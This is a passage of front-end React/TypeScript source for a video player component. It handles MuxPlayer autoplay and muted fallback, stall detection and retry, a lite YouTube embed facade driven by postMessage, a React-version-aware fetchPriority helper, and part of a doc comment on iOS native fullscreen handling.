HOST owns hover detection —\n  // e.g. the bite-strip card, where the detail overlay is part of the card and\n  // must NOT pause playback when the pointer moves onto it.\n  const hoverControlled = typeof playWhenHovered === 'boolean';\n  useEffect(() => {\n    if (!hoverControlled) return;\n    if (playWhenHovered) startHoverPlayback();\n    else stopHoverPlayback();\n  }, [hoverControlled, playWhenHovered, startHoverPlayback, stopHoverPlayback]);\n\n  const handleHoverEnter = playOnHover && !hoverControlled ? startHoverPlayback : undefined;\n  const handleHoverLeave = playOnHover && !hoverControlled ? stopHoverPlayback : undefined;\n\n  // Report muted-fallback transitions to hosts that render their own control\n  // (hideMutedBadge). Emitted on every change to hoverMutedFallback so the\n  // host's card-level unmute/play affordance stays in sync.\n  // Republished in its own unconditional effect, declared BEFORE the emitter\n  // below so it is refreshed first in the same flush — a render body write\n  // would install a callback from a render attempt React may have discarded.\n  const onMutedFallbackChangeRef = useRef(onMutedFallbackChange);\n  useEffect(() => {\n    onMutedFallbackChangeRef.current = onMutedFallbackChange;\n  });\n  useEffect(() => {\n    onMutedFallbackChangeRef.current?.({\n      muted: hoverMutedFallback,\n      blocked: hoverMutedFallback && mutedFallbackBlocked,\n    });\n  }, [hoverMutedFallback, mutedFallbackBlocked]);\n\n  // Autoplay-on-mount for handoff surfaces (theater open / resume card). Runs\n  // once. `autoPlayUnmuted` tries sound (the mount is gesture-adjacent) and\n  // falls back to muted + fallback state on rejection; `startMuted` (used with\n  // MuxPlayer's own muted autoPlay) just arms the fallback state so the host's\n  // unmute control shows from the first frame.\n  const autoPlayKickedRef = useRef(false);\n  useEffect(() => {\n    if (autoPlayKickedRef.current) return;\n    if (startMuted) {\n      // Actually mute the element. Previously this only armed the UI state, so\n      // a paused+muted resume (no autoPlay to carry `muted`) sat unmuted and\n      // the first Play press blasted full volume while every label said muted.\n      const mutedEl = hoverPlayerRef.current;\n      if (!mutedEl) return; // latch AFTER the ref read — see the branch below\n      autoPlayKickedRef.current = true;\n      try {\n        mutedEl.muted = true;\n      } catch {\n        /* ignore */\n      }\n      // No state to publish here: `hoverMutedFallback` is seeded from\n      // `startMuted` at its declaration, and `mutedFallbackBlocked` starts\n      // false — this branch is latched, so it only ever ran while both already\n      // held those values.\n      // When this surface is ALSO autoplaying, MuxPlayer issues its own muted\n      // play() whose rejection we never see. Issue a parallel one purely to\n      // OBSERVE the outcome: a redundant play on an already-playing element is\n      // a no-op, but a rejection is the only signal that the host must render\n      // \"Play\" instead of \"Pause\" over a video that never started.\n      if (autoPlay) {\n        // One handler for both failure shapes: `play()` reports a blocked\n        // autoplay either by rejecting or, on a torn-down element, by throwing\n        // synchronously. Same event, same report — and this is genuinely the\n        // element telling us something, not a value the render could have\n        // derived.\n        const reportBlocked = () => setMutedFallbackBlocked(true);\n        try {\n          (mutedEl.play?.() as Promise<void> | undefined)?.catch?.(reportBlocked);\n        } catch {\n          reportBlocked();\n        }\n      }\n      return;\n    }\n    if (!autoPlayUnmuted) return;\n    const el = hoverPlayerRef.current;\n    // Latch AFTER the ref check: setting it first meant a null player on the\n    // first run burned the one-shot kick with no retry (the deps never change).\n    if (!el) return;\n    autoPlayKickedRef.current = true;\n    try {\n      el.muted = false;\n      el.volume = typeof el.volume === 'number' ? el.volume : 1;\n      (el.play?.() as Promise<void> | undefined)?.catch?.((err: unknown) => {\n        const name = (err as { name?: string } | null)?.name;\n        if (name !== 'NotAllowedError') return;\n        // Unmuted rejected — retry muted; if THAT rejects too, mark blocked.\n        try {\n          el.muted = true;\n          (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n            setMutedFallbackBlocked(true);\n            setHoverMutedFallback(true);\n          });\n          setMutedFallbackBlocked(false);\n          setHoverMutedFallback(true);\n        } catch {\n          setMutedFallbackBlocked(true);\n          setHoverMutedFallback(true);\n        }\n      });\n    } catch {\n      /* ignore */\n    }\n  }, [autoPlayUnmuted, startMuted, autoPlay]);\n\n  // volumechange listener — clears the muted-fallback state when the media is\n  // unmuted by ANY path (MuxPlayer's own chrome in the theater, or the host\n  // control). Without this a stale glyph/state can persist after a chrome unmute.\n  useEffect(() => {\n    const el = hoverPlayerRef.current;\n    if (!el?.addEventListener) return undefined;\n    const onVolumeChange = () => {\n      if (el.muted === false) {\n        setMutedFallbackBlocked(false);\n        setHoverMutedFallback(false);\n      }\n    };\n    try {\n      el.addEventListener('volumechange', onVolumeChange);\n    } catch {\n      /* ignore */\n    }\n    return () => {\n      try {\n        el.removeEventListener?.('volumechange', onVolumeChange);\n      } catch {\n        /* ignore */\n      }\n    };\n  }, []);\n\n  // `playing` clears the blocked-autoplay flag. Without this, once a muted\n  // retry had been rejected (iOS Low Power) the host's centre glyph read \"Play\"\n  // over a playing video forever — the flag was only cleared by an unmute.\n  useEffect(() => {\n    const el = hoverPlayerRef.current;\n    if (!el?.addEventListener) return undefined;\n    const onPlaying = () => setMutedFallbackBlocked(false);\n    try {\n      el.addEventListener('playing', onPlaying);\n    } catch {\n      /* ignore */\n    }\n    return () => {\n      try {\n        el.removeEventListener?.('playing', onPlaying);\n      } catch {\n        /* ignore */\n      }\n    };\n  }, []);\n\n  // ended listener — host clears its handoff (mini-player continuation).\n  // Republished in an unconditional effect rather than in the render body; the\n  // only reader is the DOM 'ended' listener installed below, which cannot fire\n  // before a commit.\n  const onEndedRef = useRef(onEnded);\n  useEffect(() => {\n    onEndedRef.current = onEnded;\n  });\n  useEffect(() => {\n    const el = hoverPlayerRef.current;\n    if (!el?.addEventListener) return undefined;\n    const handler = () => onEndedRef.current?.();\n    try {\n      el.addEventListener('ended', handler);\n    } catch {\n      /* ignore */\n    }\n    return () => {\n      try {\n        el.removeEventListener?.('ended', handler);\n      } catch {\n        /* ignore */\n      }\n    };\n  }, []);\n\n  // In the iOS shell the fullscreen control goes to Apple's video player rather\n  // than to element fullscreen, which WebKit exits by breaking the safe areas.\n  useIosNativeVideoFullscreen(hoverPlayerRef);\n\n  // Imperative handle — snapshot getters + control mutators for handoff.\n  useImperativeHandle(\n    playerHandleRef,\n    (): VideoPlayerHandle => ({\n      getCurrentTime: () => hoverPlayerRef.current?.currentTime ?? 0,\n      getDuration: () => {\n        const d = hoverPlayerRef.current?.duration;\n        return typeof d === 'number' && isFinite(d) ? d : 0;\n      },\n      getPaused: () => hoverPlayerRef.current?.paused ?? true,\n      getMuted: () => hoverPlayerRef.current?.muted ?? false,\n      play: async () => {\n        await hoverPlayerRef.current?.play?.();\n      },\n      pause: () => {\n        try {\n          hoverPlayerRef.current?.pause?.();\n        } catch {\n          /* ignore */\n        }\n      },\n      setMuted: (m: boolean) => {\n        const el = hoverPlayerRef.current;\n        if (!el) return;\n        try {\n          el.muted = m;\n          if (!m) {\n            setMutedFallbackBlocked(false);\n            setHoverMutedFallback(false);\n          }\n        } catch {\n          /* ignore */\n        }\n      },\n    }),\n    [],\n  );\n  // Raw SRT text is unusable without a custom overlay — and we just deleted\n  // the 900-LOC custom-controls layer that owned that overlay. Consumers\n  // pass `captionsUrl` (the API-side VTT conversion) alongside `srtContent`\n  // anyway. Warn in dev if the deprecated prop is the only one supplied\n  // so a single-prop call site doesn't silently lose captions.\n  if (process.env.NODE_ENV !== 'production' && srtContent && !captionsUrl) {\n    console.warn(\n      '[Video] srtContent supplied without captionsUrl — captions will not render. ' +\n        'Pass captionsUrl (the VTT URL) instead; raw SRT text overlays are no longer supported.',\n    );\n  }\n\n  // Only chrome-bearing surfaces (a user actively watching) monitor health —\n  // decorative first-frame and hover previews pass `chromeless` and stay silent.\n  const monitorHealth = !chromeless;\n  const [playbackFailed, setPlaybackFailed] = useState(false);\n  const stallTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);\n  const clearStallTimer = useCallback(() => {\n    if (stallTimerRef.current !== null) {\n      clearTimeout(stallTimerRef.current);\n      stallTimerRef.current = null;\n    }\n  }, []);\n  useEffect(() => clearStallTimer, [clearStallTimer]);\n\n  const failPlayback = useCallback(\n    (reason: VideoFailureReason) => {\n      clearStallTimer();\n      setPlaybackFailed(true);\n      reportPlaybackFailure({ kind: 'file', src: url, reason });\n    },\n    [clearStallTimer, url],\n  );\n\n  // A manually paused or finished video is never a stall.\n  const armStallTimer = useCallback(() => {\n    if (!monitorHealth) return;\n    const el = hoverPlayerRef.current;\n    if (!el || el.paused || el.ended) return;\n    if (stallTimerRef.current !== null) return;\n    stallTimerRef.current = setTimeout(() => {\n      stallTimerRef.current = null;\n      failPlayback('stall');\n    }, VIDEO_STALL_TIMEOUT_MS);\n  }, [monitorHealth, failPlayback]);\n\n  // Progress means the player is alive — a stall that self-heals clears its own\n  // overlay.\n  const handlePlaybackProgress = useCallback(() => {\n    clearStallTimer();\n    setPlaybackFailed(false);\n  }, [clearStallTimer]);\n\n  const handleMediaError = useCallback(() => {\n    if (!monitorHealth) return;\n    failPlayback('error');\n  }, [monitorHealth, failPlayback]);\n\n  // `load()` re-inits the HLS pipeline (`play()` alone can't) but rewinds to\n  // zero — stash the position and seek back on `loadedmetadata`, since an\n  // earlier assignment is dropped while the fresh source has no seekable range.\n  const retryPlayback = useCallback(() => {\n    setPlaybackFailed(false);\n    clearStallTimer();\n    const el = hoverPlayerRef.current;\n    if (!el) return;\n    const resumeAt = typeof el.currentTime === 'number' ? el.currentTime : 0;\n    try {\n      el.load?.();\n      if (resumeAt > 0 && el.addEventListener && el.removeEventListener) {\n        const seekBack = () => {\n          el.removeEventListener?.('loadedmetadata', seekBack);\n          try {\n            el.currentTime = resumeAt;\n          } catch {\n            /* source shorter than the stashed position — start from the top */\n          }\n        };\n        el.addEventListener('loadedmetadata', seekBack);\n      }\n      (el.play?.() as Promise<void> | undefined)?.catch?.(() => {\n        /* a re-rejected play surfaces again via the error/stall handlers */\n      });\n    } catch {\n      /* element torn down */\n    }\n  }, [clearStallTimer]);\n\n  const errorOverlay = monitorHealth && playbackFailed ? <VideoErrorOverlay onRetry={retryPlayback} /> : null;\n\n  const player = (\n    <MuxPlayer\n      ref={hoverPlayerRef as React.Ref<never>}\n      onError={handleMediaError}\n      onWaiting={armStallTimer}\n      onStalled={armStallTimer}\n      onPlaying={handlePlaybackProgress}\n      onTimeUpdate={handlePlaybackProgress}\n      onPause={clearStallTimer}\n      src={url}\n      poster={poster || undefined}\n      streamType=\"on-demand\"\n      preload={effectivePreload}\n      playsInline\n      muted={muted}\n      preferCmcd=\"header\"\n      // No `muxData` cookie — the viewer id moves to localStorage and rides in\n      // `metadata` below instead. See the \"Mux viewer identity without a\n      // cookie\" block at the top of this file.\n      disableCookies\n      metadata={{ viewer_user_id: muxViewerId() }}\n      // MuxPlayer's built-in default is `#fa50b5` (Mux brand pink) — when\n      // its `--media-accent-color` resolves to nothing the player falls\n      // through to that hardcoded pink. The `var(--ods-accent,\n      // var(--color-accent-primary))` chain hits the platform-aware\n      // ODS token first, then the semantic accent alias if `--ods-accent`\n      // is ever undefined on a `data-app-type` we haven't themed yet.\n      // NEVER let Mux pink leak onto a non-Flamingo platform.\n      accentColor=\"var(--ods-accent, var(--color-accent-primary))\"\n      // `startMuted` only ARMS the muted-fallback state (so a host can render\n      // its own unmute control); it must not imply autoplay, or a resume that\n      // closed PAUSED would start playing while the toggle still reads \"Play\".\n      autoPlay={autoPlay ? 'muted' : autoPlayUnmuted ? 'any' : undefined}\n      startTime={typeof startTime === 'number' ? startTime : undefined}\n      loop={loop}\n      className={className}\n      // Fill the wrapping aspect-ratio container instead of MuxPlayer's\n      // intrinsic size. Without this, MuxPlayer renders at its default\n      // dimensions before video metadata loads, then grows to its\n      // metadata-derived size — that's the \"starts super small and\n      // flickers and grows\" CLS we're killing. With `aspect-video` on\n      // the centered wrapper and `width/height: 100%` here, the box is\n      // 16:9 from first paint and stays put.\n      // `--controls: none` is media-chrome's kill switch for ALL player\n      // chrome — the chromeless preview mode. `--bottom-controls: none`\n      // hides only the bottom bar (center play/pause stays) — the\n      // bite-strip card look per Figma. Merged (never replacing) into the\n      // sizing style; custom properties need the CSSProperties cast.\n      // `--media-object-fit: cover` is media-chrome's documented object-fit\n      // var — the `fit=\"cover\"` crop for grid cells / mockups.\n      style={{\n        width: '100%',\n        height: '100%',\n        ...(chromeless ? { '--controls': 'none' } : {}),\n        ...(fit === 'cover' ? { '--media-object-fit': 'cover' } : {}),\n      }}\n    >\n      {resolvedCaptionsUrl ? (\n        <track kind=\"captions\" src={resolvedCaptionsUrl} srcLang=\"en\" label=\"English\" default />\n      ) : null}\n    </MuxPlayer>\n  );\n\n  // Center unmute control — shown while hover playback runs muted because the\n  // autoplay policy blocked sound. Best-practice pattern (Mux / FB / IG):\n  // muted autoplay + an explicit unmute affordance, never forced sound.\n  // Styled to match media-chrome's center controls exactly (the play glyph in\n  // the same slot): plain large white glyph, no circle/border/background,\n  // slight dim on hover — so unmute reads as just another center control.\n  const unmuteBadge =\n    hoverMutedFallback && !hideMutedBadge ? (\n      <button\n        type=\"button\"\n        aria-label=\"Unmute\"\n        title=\"Unmute\"\n        onClick={unmuteNow}\n        // White at rest, ACCENT while the icon itself is hovered — the same\n        // hover language as every mux control icon (see app-globals.css).\n        className=\"absolute inset-0 z-10 m-auto flex h-14 w-14 items-center justify-center text-ods-text-primary transition-colors hover:text-ods-accent\"\n      >\n        <VideoUnmuteGlyph />\n      </button>\n    ) : null;\n\n  // MuxPlayerProps has no pointer-event props — the hover-play handlers live\n  // on a full-size wrapper instead (only in UNCONTROLLED playOnHover mode;\n  // controlled playWhenHovered hosts own their hover detection). Either\n  // hover-capable mode gets a relative wrapper so the unmute badge can dock.\n  if (playOnHover && !hoverControlled) {\n    return (\n      <div className=\"relative h-full w-full\" onPointerEnter={handleHoverEnter} onPointerLeave={handleHoverLeave}>\n        {player}\n        {unmuteBadge}\n        {errorOverlay}\n      </div>\n    );\n  }\n  // A relative wrapper so the unmute badge and the error overlay can dock. The\n  // bare `player` return is left only for chromeless previews (never monitored).\n  if (hoverControlled || autoPlayUnmuted || startMuted || monitorHealth) {\n    return (\n      <div className=\"relative h-full w-full\">\n        {player}\n        {unmuteBadge}\n        {errorOverlay}\n      </div>\n    );\n  }\n  return player;\n}\n\n// -----------------------------------------------------------------------------\n// YouTube facade — inlined lite-youtube-embed pattern\n// -----------------------------------------------------------------------------\n\ninterface YouTubeFacadeProps extends VideoYouTubeFacadeProps {\n  url: string;\n  title?: string;\n  priority?: boolean;\n  className?: string;\n  minimalControls?: boolean;\n}\n\nfunction YouTubeFacade({\n  url,\n  title = 'YouTube Video',\n  priority,\n  className,\n  minimalControls,\n  // `...facade` rather than naming each one: this hop is invisible to the\n  // build-time forwarding proof, so a prop added to VideoYouTubeFacadeProps\n  // would reach here and silently stop before Inner.\n  ...facade\n}: YouTubeFacadeProps): React.ReactElement | null {\n  // `extractYouTubeId` handles both bare 11-char ids AND full URLs in a\n  // single call site, so the resolution logic lives in exactly one place.\n  const videoId = extractYouTubeId(url);\n  if (!videoId) return null;\n\n  return (\n    <YouTubeFacadeInner\n      videoId={videoId}\n      title={title}\n      priority={priority}\n      className={className}\n      minimalControls={minimalControls}\n      {...facade}\n    />\n  );\n}\n\ninterface YouTubeFacadeInnerProps extends VideoYouTubeFacadeProps {\n  videoId: string;\n  title: string;\n  priority?: boolean;\n  className?: string;\n  minimalControls?: boolean;\n}\n\nconst YT_NOCOOKIE_ORIGIN = 'https://www.youtube-nocookie.com';\n\n// Poster thumbnail tiers, best → always-present. YouTube serves each size at a\n// fixed path on i.ytimg.com. `maxresdefault` is 1280×720 (crisp) but is only\n// generated for uploads whose source was ≥720p, so it can 404; `mqdefault` is\n// 320×180 and ALWAYS exists. BOTH are 16:9 — unlike the letterboxed 4:3 `hq`/`sd`\n// sizes — so an `object-cover` frame never shows black bars regardless of tier.\n// The facade starts at `maxresdefault` and drops to `mqdefault` on load error,\n// so low-res-only videos render exactly as they did before this change.\nconst YT_POSTER_TIERS = ['maxresdefault', 'mqdefault'] as const;\n\n// YouTube IFrame Player API state codes — documented integers.\n// https://developers.google.com/youtube/iframe_api_reference#Playback_status\nconst YT_STATE_ENDED = 0;\nconst YT_STATE_PLAYING = 1;\n\n// Sub-second delay before we blur the iframe after PLAYING. Zero would\n// cancel YouTube's mount-time \"controls visible\" intro flash entirely\n// (jarring); ~1s lets the user briefly see playback started, then we\n// kick YouTube's internal idle timer by removing DOM focus from the\n// iframe. Net result: controls fade ~1s after playback begins,\n// matching the user-locked target.\nconst YT_PLAYING_BLUR_DELAY_MS = 1000;\n\ninterface YouTubeInfoDeliveryMessage {\n  event?: string;\n  info?: { playerState?: number };\n  /** `onError` carries its code as a bare number in `info`, not an object:\n   *  `{\"event\":\"onError\",\"info\":150}` (101/150 = embedding disabled). */\n  errorCode?: number;\n}\n\n/**\n * Decode one iframe-API message body.\n *\n * `JSON.parse` returns `any`, so the parsed body used to be stored straight\n * into a `YouTubeInfoDeliveryMessage` — the annotation described the wire\n * rather than checking it. Returns null for anything that is not an object,\n * which the caller already treats as \"ignore this message\".\n */\nfunction toYouTubeMessage(parsed: unknown): YouTubeInfoDeliveryMessage | null {\n  if (typeof parsed !== 'object' || parsed === null) return null;\n  const event = 'event' in parsed ? parsed.event : undefined;\n  const info = 'info' in parsed ? parsed.info : undefined;\n  const playerState = typeof info === 'object' && info !== null && 'playerState' in info ? info.playerState : undefined;\n\n  return {\n    event: typeof event === 'string' ? event : undefined,\n    info: { playerState: typeof playerState === 'number' ? playerState : undefined },\n    errorCode: typeof info === 'number' ? info : undefined,\n  };\n}\n\nfunction YouTubeFacadeInner({\n  videoId,\n  title,\n  priority,\n  className,\n  minimalControls,\n  autoActivate,\n  suspended,\n}: YouTubeFacadeInnerProps): React.ReactElement {\n  const [activated, setActivated] = useState(Boolean(autoActivate));\n  // The embed reported a hard player error (see the `onError` branch below).\n  // Retry remounts the iframe via `reloadNonce` — a fresh element, since there\n  // is no way to re-init a cross-origin player from outside.\n  const [failed, setFailed] = useState(false);\n  const [reloadNonce, setReloadNonce] = useState(0);\n  const iframeRef = useRef<HTMLIFrameElement | null>(null);\n\n  const retry = useCallback(() => {\n    setFailed(false);\n    setReloadNonce(n => n + 1);\n  }, []);\n\n  // Embed URL + poster URLs only change when `videoId` or `minimalControls`\n  // do — memoize so we don't rebuild URLSearchParams on every render.\n  //\n  // `enablejsapi=1` opens the postMessage state channel we subscribe to\n  // below — without it, YouTube ignores `event:listening` messages and\n  // we can't detect PLAYING / ENDED to drive the auto-hide accelerator.\n  //\n  // `origin=<parent-page-origin>` is REQUIRED when `enablejsapi=1` is set.\n  // Without it, the YouTube widget inside the iframe defaults its\n  // `postMessage` targetOrigin to its OWN origin (`youtube-nocookie.com`)\n  // when emitting state-change events back to the parent. The browser\n  // then drops every message and logs:\n  //   \"Failed to execute 'postMessage' on 'DOMWindow': The target origin\n  //   provided ('https://www.youtube-nocookie.com') does not match the\n  //   recipient window's origin ('https://www.<our-site>')\"\n  // Setting `origin` tells the widget the real parent host so it sends\n  // with the matching targetOrigin. Documented in YouTube's IFrame Player\n  // API reference (developers.google.com/youtube/iframe_api_reference).\n  // SSR-safe: the URL is rebuilt client-side in the same useMemo on\n  // hydration when `window` becomes available; the first SSR pass emits\n  // the URL without `origin` (no jsapi traffic yet — no iframe mounted).\n  const embedUrl = useMemo(() => {\n    const params = new URLSearchParams({\n      autoplay: '1',\n      rel: '0',\n      modestbranding: '1',\n      playsinline: '1',\n      enablejsapi: '1',\n    });\n    if (typeof window !== 'undefined') {\n      params.set('origin', window.location.origin);\n    }\n    if (minimalControls) {\n      params.set('controls', '0');\n      params.set('fs', '0');\n      params.set('iv_load_policy', '3');\n      params.set('cc_load_policy', '0');\n      params.set('disablekb', '1');\n    }\n    return `${YT_NOCOOKIE_ORIGIN}/embed/${videoId}?${params.toString()}`;\n  }, [videoId, minimalControls]);\n\n  // Poster starts at the highest tier and steps down on load error (see\n  // `YT_POSTER_TIERS`). Reset to the top tier whenever the video changes so a\n  // new id gets a fresh shot at its `maxresdefault`.\n  // Adjusted while rendering — React's documented pattern for a prop-driven\n  // reset — rather than from an effect: `posterJpg`/`posterWebp` are built from\n  // the tier two lines below, so an effect made the new video's first paint\n  // request the PREVIOUS video's degraded tier and only then step back up.\n  const [posterTier, setPosterTier] = useState(0);\n  const [posterTierFor, setPosterTierFor] = useState(videoId);\n  if (posterTierFor !== videoId) {\n    setPosterTierFor(videoId);\n    setPosterTier(0);\n  }\n  const posterQuality = YT_POSTER_TIERS[posterTier];\n  const posterJpg = `https://i.ytimg.com/vi/${videoId}/${posterQuality}.jpg`;\n  const posterWebp = `https://i.ytimg.com/vi_webp/${videoId}/${posterQuality}.webp`;\n  // On a 404 (e.g. no `maxresdefault`) drop one tier; clamp at the last so a\n  // genuinely missing thumbnail can't loop.\n  const handlePosterError = () => setPosterTier(tier => Math.min(tier + 1, YT_POSTER_TIERS.length - 1));\n\n  // ---------------------------------------------------------------------------\n  // YouTube control-fade accelerator (user-locked target: ~1s).\n  //\n  // YouTube's native idle timer for the bottom control bar is 5–10s when\n  // the iframe holds DOM focus. The IFrame Player API has no public\n  // `hideControls` command (full `func` list verified — none expose\n  // visibility). The one legal lever from outside the iframe is\n  // `iframe.blur()`, which kicks YouTube into its post-focus idle path\n  // (~2s minimum).\n  //\n  // Subscribe to YouTube's state channel via the documented lite-mode\n  // postMessage handshake — no full `iframe_api.js` library needed:\n  // <https://developers.google.com/youtube/iframe_api_reference>.\n  //\n  //   - PLAYING (1) arrives once autoplay kicks in. Wait ~1s (so the user\n  //     briefly sees that the player started), then blur the iframe so\n  //     YouTube's idle timer fires immediately.\n  //\n  //   - ENDED (0) → tear down the iframe. Playback is already over so\n  //     there's nothing to interrupt, and removing the iframe kills the\n  //     residual \"More videos\" suggestion grid YouTube leaves on screen.\n  //\n  // PAUSED (2) is deliberately unhandled — the user paused on purpose,\n  // leave YouTube's UI alone so they can resume.\n  //\n  // Playback is NEVER stopped by anything in this facade. Outside-click,\n  // Escape, tab-switch — all no-ops. The only state flip is on natural\n  // end-of-video (ENDED).\n  // ---------------------------------------------------------------------------\n  useEffect(() => {\n    if (!activated || failed) return undefined;\n    const iframe = iframeRef.current;\n    if (!iframe) return undefined;\n\n    function subscribe() {\n      iframe?.contentWindow?.postMessage('{\"event\":\"listening\"}', YT_NOCOOKIE_ORIGIN);\n    }\n\n    iframe.addEventListener('load', subscribe);\n    subscribe();\n\n    let blurTimer: ReturnType<typeof setTimeout> | null = null;\n\n    // No \"never reached PLAYING within N seconds\" watchdog on purpose: an embed\n    // whose unmuted autoplay Safari/iOS blocked, or one whose jsapi channel is\n    // dead, is healthy and silent — a timeout would tear those down, and retry\n    // would re-arm it. Only an explicit `onError` is a definitive failure.\n    function handleMessage(event: MessageEvent) {\n      if (event.origin !== YT_NOCOOKIE_ORIGIN) return;\n      if (typeof event.data !== 'string') return;\n      let payload: YouTubeInfoDeliveryMessage | null = null;\n      try {\n        payload = toYouTubeMessage(JSON.parse(event.data));\n      } catch {\n        return;\n      }\n      if (!payload) return;\n      if (payload.event === 'onError') {\n        setFailed(true);\n        reportPlaybackFailure({ kind: 'youtube', src: videoId, reason: 'error', errorCode: payload.errorCode });\n        return;\n      }\n      if (payload.event !== 'infoDelivery') return;\n      const state = payload.info?.playerState;\n      if (typeof state !== 'number') return;\n\n      if (state === YT_STATE_PLAYING) {\n        if (blurTimer !== null) return;\n        blurTimer = setTimeout(() => {\n          blurTimer = null;\n          iframeRef.current?.blur();\n        }, YT_PLAYING_BLUR_DELAY_MS);\n        return;\n      }\n      if (state === YT_STATE_ENDED) {\n        setActivated(false);\n      }\n    }\n\n    window.addEventListener('message', handleMessage);\n    return () => {\n      iframe.removeEventListener('load', subscribe);\n      window.removeEventListener('message', handleMessage);\n      if (blurTimer !== null) clearTimeout(blurTimer);\n    };\n  }, [activated, failed, reloadNonce, videoId]);\n\n  // Close-side pause: a closing dialog flips `suspended` false→true. Post the\n  // pauseVideo command over the same enablejsapi channel so the iframe stops\n  // BEFORE the Radix exit animation unmounts it (an unmount-cleanup post would\n  // fire too late). Edge-triggered: only acts on the false→true transition\n  // while activated (prev seeded false, so the initial render never pauses).\n  const prevSuspendedRef = useRef(false);\n  useEffect(() => {\n    const wasSuspended = prevSuspendedRef.current;\n    prevSuspendedRef.current = Boolean(suspended);\n    if (!activated) return;\n    if (suspended && !wasSuspended) {\n      iframeRef.current?.contentWindow?.postMessage(\n        '{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":[]}',\n        YT_NOCOOKIE_ORIGIN,\n      );\n    }\n  }, [suspended, activated]);\n\n  const wrapperClass = `relative w-full ${className ?? ''}`;\n  const wrapperStyle = { paddingBottom: '56.25%' as const };\n\n  if (activated && failed) {\n    return (\n      <div className={wrapperClass} style={wrapperStyle}>\n        <VideoErrorOverlay onRetry={retry} watchOnYouTubeId={videoId} />\n      </div>\n    );\n  }\n\n  if (activated) {\n    return (\n      <div className={wrapperClass} style={wrapperStyle}>\n        <iframe\n          key={reloadNonce}\n          ref={iframeRef}\n          src={embedUrl}\n          allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\"\n          allowFullScreen\n          // YouTube verifies the embedding domain from the Referer header. When the\n          // host page runs under a strict `Referrer-Policy: no-referrer` (common on\n          // deployed environments behind a gateway/CDN), the iframe would otherwise\n          // inherit it, send no referrer, and YouTube rejects playback with\n          // \"Error 153 — Video player configuration error\". Pin the policy to the\n          // value YouTube's own recommended embed code uses so the origin is always\n          // sent and embedding is authorized.\n          referrerPolicy=\"strict-origin-when-cross-origin\"\n          title={title}\n          className=\"absolute inset-0 h-full w-full rounded-lg border-0\"\n        />\n      </div>\n    );\n  }\n\n  return (\n    <div className={wrapperClass} style={wrapperStyle}>\n      <button\n        type=\"button\"\n        aria-label={`Play: ${title}`}\n        onClick={() => setActivated(true)}\n        className=\"group absolute inset-0 m-0 cursor-pointer overflow-hidden rounded-lg border border-ods-border bg-ods-card p-0\"\n      >\n        <picture>\n          <source type=\"image/webp\" srcSet={posterWebp} />\n          <img\n            src={posterJpg}\n            alt={title}\n            loading=\"lazy\"\n            onError={handlePosterError}\n            // React 18 wants lowercase (`fetchpriority` DOM attribute);\n            // React 19 wants camelCase (`fetchPriority` prop). Detect at\n            // module load and spread the right shape so both runtimes\n            // render the DOM attribute cleanly with no console warnings.\n            {...fetchPriorityProp(priority)}\n            decoding={priority ? 'sync' : 'async'}\n            className=\"absolute inset-0 h-full w-full object-cover\"\n          />\n        </picture>\n        <div className=\"absolute inset-0 flex items-center justify-center bg-ods-bg bg-opacity-20 transition-opacity duration-200 group-hover:bg-opacity-30\">\n          {/* THE shared center play badge (video-center-badge.tsx) — same disc\n              as strip cards / carousel thumbs / unmute chip; hero size + the\n              facade's hover-scale affordance. */}\n          <VideoPlayBadge\n            size=\"lg\"\n            className=\"transition-transform duration-200 group-hover:scale-110 group-hover:text-ods-accent\"\n          />\n        </div>\n      </button>\n    </div>\n  );\n}\n","import React from 'react';\n\n/**\n * `fetchPriorityProp(priority)` — build the right shape for the `<img>` /\n * `<iframe>` fetch-priority hint based on the React major version detected\n * at module load.\n *\n * React 18 only recognizes the lowercase HTML attribute `fetchpriority`\n * and emits a console warning when it sees the camelCase prop. React 19+\n * recognizes the camelCase prop `fetchPriority` (matching the DOM's IDL\n * property) and warns when it sees the lowercase form.\n *\n * Spread the returned object into the element so the rendered DOM ends\n * up with the canonical lowercase `fetchpriority` attribute either way,\n * with zero console warnings on both React versions.\n *\n * Accepts either a boolean (for the simple \"high vs low\" hint at LCP\n * candidates) or an explicit HTML `fetchpriority` value (`'high' | 'low'\n * | 'auto'`) for call sites that always want one specific value.\n */\nconst REACT_MAJOR = parseInt((React.version || '0').split('.')[0], 10);\nconst USE_CAMEL_CASE_FETCH_PRIORITY = REACT_MAJOR >= 19;\n\nexport type FetchPriorityValue = 'high' | 'low' | 'auto';\n\nexport function fetchPriorityProp(priority: boolean | FetchPriorityValue | undefined): Record<string, string> {\n  // `undefined` → `'auto'` so callers can spread `{...fetchPriorityProp(maybeBool)}`\n  // without a separate null-check at every callsite. `'auto'` is the\n  // DOM default and emits no warning on either React major.\n  const value: FetchPriorityValue =\n    priority === undefined ? 'auto' : typeof priority === 'boolean' ? (priority ? 'high' : 'low') : priority;\n  return USE_CAMEL_CASE_FETCH_PRIORITY ? { fetchPriority: value } : { fetchpriority: value };\n}\n","'use client';\n\n/**\n * iOS app shell only: hand the player's fullscreen control to Apple's own video\n * player instead of the Fullscreen API.\n *\n * This is what media-chrome already does on iPhone Safari — `requestFullscreen`\n * does not exist on `Element.prototype` there, so its `enterFullscreen` falls\n * through to `media.webkitEnterFullscreen()` and the video is handed to the\n * system player. The Capacitor shell turns element fullscreen ON (WKWebView's\n * `isElementFullscreenEnabled`), so media-chrome takes the `requestFullscreen()`\n * branch instead — and WebKit then hands the web view back with its scroll\n * view's `contentInsetAdjustmentBehavior` reset from Capacitor's `.never` to\n * `.automatic` and its own `safeAreaInsets` stranded at the fullscreen\n * container's values. The app comes back from a video with a doubled top band\n * and dead space above the home indicator until a rotation, and the shell can\n * only paper over it afterwards (`MainViewController` KVOs `fullscreenState` to\n * restore the behavior). Never entering element fullscreen is the actual fix.\n *\n * The takeover is an event interception, not a monkey-patch: the fullscreen\n * button dispatches `mediaenterfullscreenrequest` (`composed`, `bubbles`) from\n * inside the player's shadow trees, so a CAPTURE listener on the `<mux-player>`\n * host sees it before the `<media-controller>` that would service it, and\n * `stopImmediatePropagation()` is enough to claim the request. Which element\n * media-chrome would have passed to `requestFullscreen` never enters into it.\n *\n * The player's own fullscreen STATE stays correct for free: the system player\n * fires `webkitbeginfullscreen` / `webkitendfullscreen` on the `<video>`,\n * `mux-video` re-dispatches both, and media-chrome's state mediator already\n * listens for them.\n *\n * 